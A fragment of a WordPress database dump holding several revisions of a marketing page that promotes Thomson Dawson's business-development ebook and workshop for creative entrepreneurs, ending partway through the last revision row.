(1904, 2, '2012-01-23 18:13:59', '2012-01-24 01:13:59', '&nbsp;\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf" target="_blank"><span style="color: #ff6600;"><img class="alignnone size-full wp-image-1093" title="Competition Proof Your Business EBook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></span></a>\r\n\r\n<strong>Many creative entrepreneurs are so focused on the creative output of their work, they struggle keeping their business above the feast and famine cycle of a business model that requires a constant flow of projects.  Every solo professional wants to have more opportunity than capacity.  Business development, for many creative business owners, is what they do when there’s not enough work in the shop.</strong>\r\n\r\n<strong>In this useful guide, author, entrepreneur, brand strategy and business development consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your creative business.</strong>\r\n\r\n<span style="color: #333333;"><strong>In an age of commoditization in every professional business service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence and impact with your clients! Follow the advice and you’ll experience greater results in business development success. </strong></span>\r\n<h2><span style="color: #333333;"><strong> <a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<strong><span style="color: #ff7f50;">Business Development Workshop</span></strong>\r\n<strong> <span style="color: #ff7f50;">Creating Competitive\r\nAdvantage in your Creative Business\r\nFacilitated by Thomson Dawson</span></strong></h2>\r\n<strong>Watch the video above as Thomson shares the core ideas covered in the Quantum Leap Business Development Workshop.</strong>\r\nThis full-day strategic business development planning workshop is specifically tailored to business development issues faced by creative entrepreneurs and solo professionals who are providing creative products and services to business clients. Participants learn to adopt key business development strategies and tactics that create competitive advantage, and help you create more opportunity. Workshop participants learn:\r\n\r\n<strong>To adopt the thinking habits of a proper mindset for success\r\nHow to create a pipeline full of early-stage buyers\r\nHow to develop higher value clients and business relationships\r\nTo elevate their impact and influence with clients in the buying process\r\nHow to make competitors irrelevant\r\nHow to command premium fees for services\r\nTo experience more joy, fulfillment and creative freedom through the venue of their business</strong>\r\n\r\nThis workshop is limited to 24 participants. For information on the investment, location and time of the next available workshop, send an email and we’ll get right back to you with information on how confirm your spot.<strong>\r\n</strong>\r\n<h2><strong><span style="color: #ff6600;">Check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://sallyhogshead.com/" target="_blank">www.sallyhogshead.com</a><a href="http://www.oddpodz.xom" target="_blank">\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.biznik.com" target="_blank">biznik.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-01-23 18:13:59', '2012-01-24 01:13:59', '', 145, 'http://www.whitehotcenter.com/2012/01/145-revision-87/', 0, 'revision', '', 0),
(1902, 2, '2012-01-23 18:11:15', '2012-01-24 01:11:15', '&nbsp;\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf" target="_blank"><span style="color: #ff6600;"><img class="alignnone size-full wp-image-1093" title="Competition Proof Your Business EBook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></span></a>\r\n\r\n<strong>Many creative entrepreneurs are so focused on the creative output of their work, they struggle keeping their business above the feast and famine cycle of a business model that requires a constant flow of projects.  Every solo professional wants to have more opportunity than capacity.  Business development, for many creative business owners, is what they do when there’s not enough work in the shop.</strong>\r\n\r\n<strong>In this useful guide, author, entrepreneur, brand strategy and business development consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your creative business.</strong>\r\n\r\n<span style="color: #333333;"><strong>In an age of commoditization in every professional business service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence and impact with your clients! Follow the advice and you’ll experience greater results in business development success. </strong></span>\r\n\r\n<span style="color: #333333;"><strong> <a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<h2>Business Development Workshop<strong>\r\n</strong></h2>\r\n<h2><strong>Creating Competitive\r\nAdvantage in your Creative Business</strong><span style="color: #333333;"><strong></strong><strong>\r\n</strong></span></h2>\r\n<h2><span style="color: #333333;"><strong>Facilitated by Thomson Dawson</strong></span></h2>\r\n<strong>Watch the video above as Thomson shares the core ideas covered in the Quantum Leap Business Development Workshop.</strong>\r\nThis full-day strategic business development planning workshop is specifically tailored to business development issues faced by creative entrepreneurs and solo professionals who are providing creative products and services to business clients. Participants learn to adopt key business development strategies and tactics that create competitive advantage, and help you create more opportunity. Workshop participants learn:\r\n\r\n<strong>To adopt the thinking habits of a proper mindset for success\r\nHow to create a pipeline full of early-stage buyers\r\nHow to develop higher value clients and business relationships\r\nTo elevate their impact and influence with clients in the buying process\r\nHow to make competitors irrelevant\r\nHow to command premium fees for services\r\nTo experience more joy, fulfillment and creative freedom through the venue of their business</strong>\r\n\r\nThis workshop is limited to 24 participants. For information on the investment, location and time of the next available workshop, send an email and we’ll get right back to you with information on how confirm your spot.<strong>\r\n</strong>\r\n<h2><strong><span style="color: #ff6600;">Check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://sallyhogshead.com/" target="_blank">www.sallyhogshead.com</a><a href="http://www.oddpodz.xom" target="_blank">\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.biznik.com" target="_blank">biznik.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-01-23 18:11:15', '2012-01-24 01:11:15', '', 145, 'http://www.whitehotcenter.com/2012/01/145-revision-85/', 0, 'revision', '', 0),
(1903, 2, '2012-01-23 18:13:03', '2012-01-24 01:13:03', '&nbsp;\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf" target="_blank"><span style="color: #ff6600;"><img class="alignnone size-full wp-image-1093" title="Competition Proof Your Business EBook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></span></a>\r\n\r\n<strong>Many creative entrepreneurs are so focused on the creative output of their work, they struggle keeping their business above the feast and famine cycle of a business model that requires a constant flow of projects.  Every solo professional wants to have more opportunity than capacity.  Business development, for many creative business owners, is what they do when there’s not enough work in the shop.</strong>\r\n\r\n<strong>In this useful guide, author, entrepreneur, brand strategy and business development consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your creative business.</strong>\r\n\r\n<span style="color: #333333;"><strong>In an age of commoditization in every professional business service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence and impact with your clients! Follow the advice and you’ll experience greater results in business development success. </strong></span>\r\n<h1><span style="color: #333333;"><strong> <a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<span style="color: #ff7f50;">Business Development Workshop<strong></strong></span>\r\n<span style="color: #ff7f50;">Creating Competitive<strong>\r\nAdvantage in your Creative Business</strong><strong></strong><strong></strong><strong>\r\nFacilitated by Thomson Dawson</strong></span></h1>\r\n<strong>Watch the video above as Thomson shares the core ideas covered in the Quantum Leap Business Development Workshop.</strong>\r\nThis full-day strategic business development planning workshop is specifically tailored to business development issues faced by creative entrepreneurs and solo professionals who are providing creative products and services to business clients. Participants learn to adopt key business development strategies and tactics that create competitive advantage, and help you create more opportunity. Workshop participants learn:\r\n\r\n<strong>To adopt the thinking habits of a proper mindset for success\r\nHow to create a pipeline full of early-stage buyers\r\nHow to develop higher value clients and business relationships\r\nTo elevate their impact and influence with clients in the buying process\r\nHow to make competitors irrelevant\r\nHow to command premium fees for services\r\nTo experience more joy, fulfillment and creative freedom through the venue of their business</strong>\r\n\r\nThis workshop is limited to 24 participants. For information on the investment, location and time of the next available workshop, send an email and we’ll get right back to you with information on how confirm your spot.<strong>\r\n</strong>\r\n<h2><strong><span style="color: #ff6600;">Check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://sallyhogshead.com/" target="_blank">www.sallyhogshead.com</a><a href="http://www.oddpodz.xom" target="_blank">\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.biznik.com" target="_blank">biznik.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-01-23 18:13:03', '2012-01-24 01:13:03', '', 145, 'http://www.whitehotcenter.com/2012/01/145-revision-86/', 0, 'revision', '', 0),
(1906, 2, '2012-01-23 18:18:56', '2012-01-24 01:18:56', '&nbsp;\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf" target="_blank"><span style="color: #ff6600;"><img class="alignnone size-full wp-image-1093" title="Competition Proof Your Business EBook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></span></a>\r\n\r\n<strong>Many creative entrepreneurs are so focused on the creative output of their work, they struggle keeping their business above the feast and famine cycle of a business model that requires a constant flow of projects.  Every solo professional wants to have more opportunity than capacity.  Business development, for many creative business owners, is what they do when there’s not enough work in the shop.</strong>\r\n\r\n<strong>In this useful guide, author, entrepreneur, brand strategy and business development consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your creative business.</strong>\r\n\r\n<span style="color: #333333;"><strong>In an age of commoditization in every professional business service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence and impact with your clients! Follow the advice and you’ll experience greater results in business development success. </strong></span>\r\n<h2><span style="color: #333333;"><strong> <a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<strong><span style="color: #ff7f50;">Business Development Workshop</span></strong>\r\n<strong> <span style="color: #ff7f50;">Creating Competitive\r\nAdvantage in your Creative Business\r\nFacilitated by Thomson Dawson</span></strong></h2>\r\n<strong>Watch the video above as Thomson shares the core ideas covered in the Quantum Leap Business Development Workshop.</strong>\r\nThis full-day strategic business development planning workshop is specifically tailored to business development issues faced by creative entrepreneurs and solo professionals who are providing creative products and services to business clients. Participants learn to adopt key business development strategies and tactics that create competitive advantage, and help you create more opportunity. Workshop participants learn:\r\n\r\n<strong>To adopt the thinking habits of a proper mindset for success\r\nHow to create a pipeline full of early-stage buyers\r\nHow to develop higher value clients and business relationships\r\nTo elevate their impact and influence with clients in the buying process\r\nHow to make competitors irrelevant\r\nHow to command premium fees for services\r\nTo experience more joy, fulfillment and creative freedom through the venue of their business</strong>\r\n\r\nThis workshop is limited to 24 participants. For information on the investment, location and time of the next available workshop, send an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with information on how confirm your spot.<strong></strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-01-23 18:18:56', '2012-01-24 01:18:56', '', 145, 'http://www.whitehotcenter.com/2012/01/145-revision-89/', 0, 'revision', '', 0);
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(1910, 2, '2012-01-23 18:41:41', '2012-01-24 01:41:41', '&nbsp;\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf" target="_blank"><span style="color: #ff6600;"><img class="alignnone size-full wp-image-1093" title="Competition Proof Your Business EBook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></span></a>\r\n<h2><strong>Many creative entrepreneurs are so focused on the creative output of their work, they struggle keeping their business above the feast and famine cycle of a business model that requires a constant flow of projects.  </strong></h2>\r\n<h2><strong>Every solo professional wants to have more opportunity than capacity.  Business development, for many creative business owners, is what they do when there’s not enough work in the shop.</strong></h2>\r\nIn this useful guide, author, entrepreneur, brand strategy and business development consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your creative business.\r\n\r\n<span style="color: #333333;">In an age of commoditization in every professional business service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence and impact with your clients! Follow the advice and you’ll experience greater results in business development success. </span>\r\n<h2><span style="color: #ff7f50;"><strong>Business Development Workshop</strong></span>\r\n<span style="color: #ff7f50;"> <strong> Creating Competitive\r\nAdvantage in your Creative Business\r\nFacilitated by Thomson Dawson</strong></span></h2>\r\n<span style="color: #333333;"><strong> <a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<strong>Watch the video above as Thomson shares the core ideas covered in the Quantum Leap Business Development Workshop.</strong>\r\n\r\nThis full-day strategic business development planning workshop is specifically tailored to business development issues faced by creative entrepreneurs and solo professionals who are providing creative products and services to business clients. Participants learn to adopt key business development strategies and tactics that create competitive advantage, and help you create more opportunity. Workshop participants learn:\r\n\r\n<strong>To adopt the thinking habits of a proper mindset for success\r\nHow to create a pipeline full of early-stage buyers\r\nHow to develop higher value clients and business relationships\r\nTo elevate their impact and influence with clients in the buying process\r\nHow to make competitors irrelevant\r\nHow to command premium fees for services\r\nTo experience more joy, fulfillment and creative freedom through the venue of their business</strong>\r\n\r\nThis workshop is limited to 24 participants. For information on the investment, location and time of the next available workshop, send an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with information on how confirm your spot.<strong></strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-01-23 18:41:41', '2012-01-24 01:41:41', '', 145, 'http://www.whitehotcenter.com/2012/01/145-revision-93/', 0, 'revision', '', 0),
(1908, 2, '2012-01-23 18:39:18', '2012-01-24 01:39:18', '&nbsp;\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf" target="_blank"><span style="color: #ff6600;"><img class="alignnone size-full wp-image-1093" title="Competition Proof Your Business EBook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></span></a>\r\n<h2><strong>Many creative entrepreneurs are so focused on the creative output of their work, they struggle keeping their business above the feast and famine cycle of a business model that requires a constant flow of projects.  Every solo professional wants to have more opportunity than capacity.  Business development, for many creative business owners, is what they do when there’s not enough work in the shop.</strong></h2>\r\n<strong>In this useful guide, author, entrepreneur, brand strategy and business development consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your creative business.</strong>\r\n\r\n<span style="color: #333333;"><strong>In an age of commoditization in every professional business service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence and impact with your clients! Follow the advice and you’ll experience greater results in business development success. </strong></span>\r\n<h2><span style="color: #ff7f50;"><strong>Business Development Workshop</strong></span>\r\n<span style="color: #ff7f50;"> <strong> Creating Competitive\r\nAdvantage in your Creative Business\r\nFacilitated by Thomson Dawson</strong></span></h2>\r\n<span style="color: #333333;"><strong> <a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<strong>Watch the video above as Thomson shares the core ideas covered in the Quantum Leap Business Development Workshop.</strong>\r\n\r\nThis full-day strategic business development planning workshop is specifically tailored to business development issues faced by creative entrepreneurs and solo professionals who are providing creative products and services to business clients. Participants learn to adopt key business development strategies and tactics that create competitive advantage, and help you create more opportunity. Workshop participants learn:\r\n\r\n<strong>To adopt the thinking habits of a proper mindset for success\r\nHow to create a pipeline full of early-stage buyers\r\nHow to develop higher value clients and business relationships\r\nTo elevate their impact and influence with clients in the buying process\r\nHow to make competitors irrelevant\r\nHow to command premium fees for services\r\nTo experience more joy, fulfillment and creative freedom through the venue of their business</strong>\r\n\r\nThis workshop is limited to 24 participants. For information on the investment, location and time of the next available workshop, send an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with information on how confirm your spot.<strong></strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-01-23 18:39:18', '2012-01-24 01:39:18', '', 145, 'http://www.whitehotcenter.com/2012/01/145-revision-91/', 0, 'revision', '', 0),
(1907, 2, '2012-01-23 18:22:46', '2012-01-24 01:22:46', '&nbsp;\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf" target="_blank"><span style="color: #ff6600;"><img class="alignnone size-full wp-image-1093" title="Competition Proof Your Business EBook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></span></a>\r\n\r\n<strong>Many creative entrepreneurs are so focused on the creative output of their work, they struggle keeping their business above the feast and famine cycle of a business model that requires a constant flow of projects.  Every solo professional wants to have more opportunity than capacity.  Business development, for many creative business owners, is what they do when there’s not enough work in the shop.</strong>\r\n\r\n<strong>In this useful guide, author, entrepreneur, brand strategy and business development consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your creative business.</strong>\r\n\r\n<span style="color: #333333;"><strong>In an age of commoditization in every professional business service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence and impact with your clients! Follow the advice and you’ll experience greater results in business development success. </strong></span>\r\n<h2><span style="color: #ff7f50;"><strong>Business Development Workshop</strong></span>\r\n<span style="color: #ff7f50;"> <strong> Creating Competitive\r\nAdvantage in your Creative Business\r\nFacilitated by Thomson Dawson</strong></span></h2>\r\n<span style="color: #333333;"><strong> <a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<strong>Watch the video above as Thomson shares the core ideas covered in the Quantum Leap Business Development Workshop.</strong>\r\n\r\nThis full-day strategic business development planning workshop is specifically tailored to business development issues faced by creative entrepreneurs and solo professionals who are providing creative products and services to business clients. Participants learn to adopt key business development strategies and tactics that create competitive advantage, and help you create more opportunity. Workshop participants learn:\r\n\r\n<strong>To adopt the thinking habits of a proper mindset for success\r\nHow to create a pipeline full of early-stage buyers\r\nHow to develop higher value clients and business relationships\r\nTo elevate their impact and influence with clients in the buying process\r\nHow to make competitors irrelevant\r\nHow to command premium fees for services\r\nTo experience more joy, fulfillment and creative freedom through the venue of their business</strong>\r\n\r\nThis workshop is limited to 24 participants. For information on the investment, location and time of the next available workshop, send an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with information on how confirm your spot.<strong></strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-01-23 18:22:46', '2012-01-24 01:22:46', '', 145, 'http://www.whitehotcenter.com/2012/01/145-revision-90/', 0, 'revision', '', 0),
(1909, 2, '2012-01-23 18:40:43', '2012-01-24 01:40:43', '&nbsp;\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf" target="_blank"><span style="color: #ff6600;"><img class="alignnone size-full wp-image-1093" title="Competition Proof Your Business EBook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></span></a>\r\n<h2><strong>Many creative entrepreneurs are so focused on the creative output of their work, they struggle keeping their business above the feast and famine cycle of a business model that requires a constant flow of projects.  Every solo professional wants to have more opportunity than capacity.  Business development, for many creative business owners, is what they do when there’s not enough work in the shop.</strong></h2>\r\n<strong>In this useful guide, author, entrepreneur, brand strategy and business development consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your creative business.</strong>\r\n\r\n<strong><span style="color: #333333;">In an age of commoditization in every professional business service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence and impact with your clients! Follow the advice and you’ll experience greater results in business development success. </span></strong>\r\n<h2><span style="color: #ff7f50;"><strong>Business Development Workshop</strong></span>\r\n<span style="color: #ff7f50;"> <strong> Creating Competitive\r\nAdvantage in your Creative Business\r\nFacilitated by Thomson Dawson</strong></span></h2>\r\n<span style="color: #333333;"><strong> <a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<strong>Watch the video above as Thomson shares the core ideas covered in the Quantum Leap Business Development Workshop.</strong>\r\n\r\nThis full-day strategic business development planning workshop is specifically tailored to business development issues faced by creative entrepreneurs and solo professionals who are providing creative products and services to business clients. Participants learn to adopt key business development strategies and tactics that create competitive advantage, and help you create more opportunity. Workshop participants learn:\r\n\r\n<strong>To adopt the thinking habits of a proper mindset for success\r\nHow to create a pipeline full of early-stage buyers\r\nHow to develop higher value clients and business relationships\r\nTo elevate their impact and influence with clients in the buying process\r\nHow to make competitors irrelevant\r\nHow to command premium fees for services\r\nTo experience more joy, fulfillment and creative freedom through the venue of their business</strong>\r\n\r\nThis workshop is limited to 24 participants. For information on the investment, location and time of the next available workshop, send an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with information on how confirm your spot.<strong></strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-01-23 18:40:43', '2012-01-24 01:40:43', '', 145, 'http://www.whitehotcenter.com/2012/01/145-revision-92/', 0, 'revision', '', 0),
(1911, 2, '2012-01-23 18:42:07', '2012-01-24 01:42:07', '&nbsp;\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf" target="_blank"><span style="color: #ff6600;"><img class="alignnone size-full wp-image-1093" title="Competition Proof Your Business EBook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></span></a>\r\n<h2><strong>Many creative entrepreneurs are so focused on the creative output of their work, they struggle keeping their business above the feast and famine cycle of a business model that requires a constant flow of projects.  </strong></h2>\r\n<h2><strong>Every solo professional wants to have more opportunity than capacity.  Business development, for many creative business owners, is what they do when there’s not enough work in the shop.</strong></h2>\r\nIn this useful guide, author, entrepreneur, brand strategy and business development consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your creative business.<span style="color: #333333;"> In an age of commoditization in every professional business service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence and impact with your clients! Follow the advice and you’ll experience greater results in business development success. </span>\r\n<h2><span style="color: #ff7f50;"><strong>Business Development Workshop</strong></span>\r\n<span style="color: #ff7f50;"> <strong> Creating Competitive\r\nAdvantage in your Creative Business\r\nFacilitated by Thomson Dawson</strong></span></h2>\r\n<span style="color: #333333;"><strong> <a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<strong>Watch the video above as Thomson shares the core ideas covered in the Quantum Leap Business Development Workshop.</strong>\r\n\r\nThis full-day strategic business development planning workshop is specifically tailored to business development issues faced by creative entrepreneurs and solo professionals who are providing creative products and services to business clients. Participants learn to adopt key business development strategies and tactics that create competitive advantage, and help you create more opportunity. Workshop participants learn:\r\n\r\n<strong>To adopt the thinking habits of a proper mindset for success\r\nHow to create a pipeline full of early-stage buyers\r\nHow to develop higher value clients and business relationships\r\nTo elevate their impact and influence with clients in the buying process\r\nHow to make competitors irrelevant\r\nHow to command premium fees for services\r\nTo experience more joy, fulfillment and creative freedom through the venue of their business</strong>\r\n\r\nThis workshop is limited to 24 participants. For information on the investment, location and time of the next available workshop, send an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with information on how confirm your spot.<strong></strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-01-23 18:42:07', '2012-01-24 01:42:07', '', 145, 'http://www.whitehotcenter.com/2012/01/145-revision-94/', 0, 'revision', '', 0),
(1912, 2, '2012-01-23 18:45:08', '2012-01-24 01:45:08', '&nbsp;\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf" target="_blank"><span style="color: #ff6600;"><img class="alignnone size-full wp-image-1093" title="Competition Proof Your Business EBook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></span></a>\r\n<h2><strong>Many creative entrepreneurs are so focused on the creative output of their work, they struggle keeping their business above the feast and famine cycle of a business model that requires a constant flow of projects. Every solo professional wants to have more opportunity than capacity.  Business development, for many creative business owners, is what they do when there’s not enough work in the shop.</strong></h2>\r\nIn this useful guide, author, entrepreneur, brand strategy and business development consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your creative business.<span style="color: #333333;"> In an age of commoditization in every professional business service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence and impact with your clients! Follow the advice and you’ll experience greater results in business development success. </span>\r\n<h2><span style="color: #333333;"><strong>Quantum Leap\r\nBusiness Development Workshop</strong></span>\r\n<span style="color: #ff7f50;"> <strong> Creating Competitive\r\nAdvantage in your Creative Business\r\n<span style="color: #333333;">Facilitated by Thomson Dawson</span></strong></span></h2>\r\n<span style="color: #333333;"><strong> <a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<strong>Watch the video above as Thomson shares the core ideas covered in the Quantum Leap Business Development Workshop.</strong>\r\n\r\nThis full-day strategic business development planning workshop is specifically tailored to business development issues faced by creative entrepreneurs and solo professionals who are providing creative products and services to business clients. Participants learn to adopt key business development strategies and tactics that create competitive advantage, and help you create more opportunity. Workshop participants learn:\r\n\r\n<strong>To adopt the thinking habits of a proper mindset for success\r\nHow to create a pipeline full of early-stage buyers\r\nHow to develop higher value clients and business relationships\r\nTo elevate their impact and influence with clients in the buying process\r\nHow to make competitors irrelevant\r\nHow to command premium fees for 